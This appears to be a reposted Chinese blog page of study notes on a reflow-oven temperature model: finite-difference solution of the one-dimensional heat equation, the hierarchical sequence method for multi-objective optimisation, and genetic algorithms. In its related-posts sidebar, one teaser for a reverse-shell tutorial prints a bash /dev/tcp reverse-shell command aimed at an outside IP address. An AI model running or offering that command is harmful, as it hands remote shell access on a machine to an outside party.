一维热传导方程的回焊炉子炉温模型

赛题链接

论文链接

1. 有限差分方法

参考

1.1 一阶微分

由泰勒公式:

  1. 对上式变形即可以得到 一阶微分的向前差分公式

  2. 将上式中的h用-h替代,则可以得到 一阶微分的向后差分公式

  3. 联立以上1、2,可以得到 一阶微分的中心差分公式

1.2 二阶微分

利用泰勒公式将原式多展开几项。

按照同样的思路进行求解即可,可得二阶微分的中心差分公式:

1.3 论文中有限差分法的运用:

作者首先得到—— 一维介质热传导方程组,如下:

再由热传导方程的差分形式:

联立以上两式,解得:

2. 分层序列法

多目标问题求解常用方法为: 线性加权法分层序列法
线性加权法,会涉及到不同目标对目标函数的权重值的问题。例如MTSP问题的 总路程_与 _均衡度

分层序列法:是指将所有目标按其重要性程度依次排序,先求出第一个最重要的目标的最优解,然后在保证前一目标最优解的前提下依次求下一目标的最优解,一直求到最后一个目标为止。
分层序列法的核心思路即为 排序。优先级高的目标求解所得的集合会成为下一个目标求解的约束条件。

2.1 简单分层序列法的局限性:

若上层最优解是唯一的,则之后所有的解也是唯一的。

2.2 传统分层序列法的改进方案:

求解较上层优化问题时给予一定的 宽容度。即使只有唯一解,也在其相邻的区间内取舍一定的范围,成为下一层优化问题的约束条件。

3. 核心要点

  • 偏微分方程的求解(PDE方程:包含未知函数的偏导数 (或偏微分)的方程):有限差分方法
  • 时间步长,空间步长,连续平面区域的离散化
  • 非线性约束条件下的目标规划问题
  • 单目标多变量问题:遗传算法
  • 多目标多变量问题:基于分层序列的思想,提出接力进化的遗传算法

3.1 算法流程图

涉及启发式算法,建议绘制算法流程图:

3.2 表格中展示

并将不同次数的求解结果放在一张二维表格中展示,并选取最优解。(启发式算法需要多次求解,并选取最优值)!!!

3.3 灵敏度分析

对与结果相关的重要参数需进行灵敏度分析

Original: https://www.cnblogs.com/litecdows/p/16538673.html
Author: litecdows
Title: 一维热传导方程的回焊炉子炉温模型

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/610883/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 反弹shell的各种基础姿势

    Victim: bash -i >& /dev/tcp/175.11.142.54/443 0>&1 Copy /bin/bash -i > /d…

    Linux 2023年5月28日
    085
  • Linux下info page指令

    在所有的Unix Like系统当中,都可以利用man 来查询指令或者是相关文件的用法;但是,在Linux里面则又额外提供了一种在线求助的方法,那就是利用info这个好用的家伙啦!基…

    Linux 2023年6月8日
    074
  • 记一次因网络变更导致zabbix连接es报400和404

    背景 zabbix历史数据存储到es集群,正常工作中的时候,因网络变更导致zabbix server连接不上es,zabbix日志首先报400错误,之后一直404,es那边报查询相…

    Linux 2023年6月7日
    094
  • centos 8及以上安装mysql 8.0

    本文适用于centos 8及以上安装mysql 8.0,整体耗时20分钟内,不需要FQ 1.环境先搞好 systemctl stop firewalld //关闭防火墙 syste…

    Linux 2023年6月7日
    092
  • 缓存提升性能的关键性手段

    提高「性能」的主要方式是优化,而优化的其中一个主要手段就是添加缓存! 在软件工程里有这么一句话:「没有银弹」!就是说由于软件工程的复杂性,没有任何一种技术或方法能解决所有问题!软件…

    Linux 2023年6月14日
    085
  • Linux动静分离与Rewrite

    一、动静分离 1.1 单台机器动静分离 1、创建NFS挂载点(NFS服务端) mkdir /static vim /etc/exports /static 172.16.1.0/2…

    Linux 2023年5月27日
    093
  • Greenplum数据库基本操作命令大全-完善ing

    Greenplum数据库基本操作命令大全 select * from pg_stat_activity; datid –16388 datname –hfamlgpdbs &a…

    Linux 2023年6月11日
    090
  • UE4编辑器使用PS4/NS PRO手柄

    在Steam里,点击添加非Steam游戏,把Unreal Engine添加进去,进大屏幕模式,设置手柄配置为强制开启即可! 网上看到各种教程,都太复杂了………

    Linux 2023年6月6日
    0109
  • Docker Manager for Docker Swarm deploy

    一、Swarm概述 Swarm是Docker公司在2014年12月初发布的一套较为简单的工具,用来管理Docker集群,它将一群Docker宿主机变成一个单一的,虚拟的主机。Swa…

    Linux 2023年6月14日
    0101
  • 【k8s】kubeadm init 时报错 unknown service runtime.v1alpha2.RuntimeService

    在测试机器中准备搭建 k8s 集群,在 master 节点执行 kubeadm init 时出现报错, unknown service runtime.v1alpha2.Runti…

    Linux 2023年6月7日
    0111
  • termius好用的shell终端

    ipad下可用 posted @2022-07-23 12:41 jiftle 阅读(75 ) 评论() 编辑 Original: https://www.cnblogs.com/…

    Linux 2023年5月28日
    099
  • Hadoop Shell命令

    http://hadoop.apache.org/docs/r1.0.4/cn/hdfs_shell.html Original: https://www.cnblogs.com/…

    Linux 2023年5月28日
    086
  • Linux—磁盘管理

    Linux 磁盘管理 磁盘是一种计算机的外部存储器设备,由一个或多个覆盖有磁性材料的铝制或玻璃制的碟片组成,用来存储用户的信息,这种信息可以反复地被读取和改写;绝大多数磁盘被永久封…

    Linux 2023年6月7日
    092
  • Linux内核驱动–硬件访问I/O【转】

    寄存器与内存 寄存器和内存之间有什么区别? [En] What is the difference between registers and memory? 寄存器和RAM的主要…

    Linux 2023年5月27日
    067
  • 分区表、文件系统等计算机基础知识

    开机固件 BIOS UEFI 特别老的BIOS不支持GPT分区 目前已取代BIOS 分区表类型 MBR GPT 1.不支持2TB以上的硬盘2.主分区不能超过4个3.可以通过建立扩展…

    Linux 2023年6月7日
    089
  • oracledb_exporter监控Oracle,一个入侵性极低的监控方案。

    写在开篇 Oracle怎么做监控?用Zabbix?可以呀,但!本篇讲的内容是基于上次设计的Prometheus主备方案的基础上进行的, 上篇的文章是《重磅!DIY的Promethe…

    Linux 2023年6月7日
    087
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球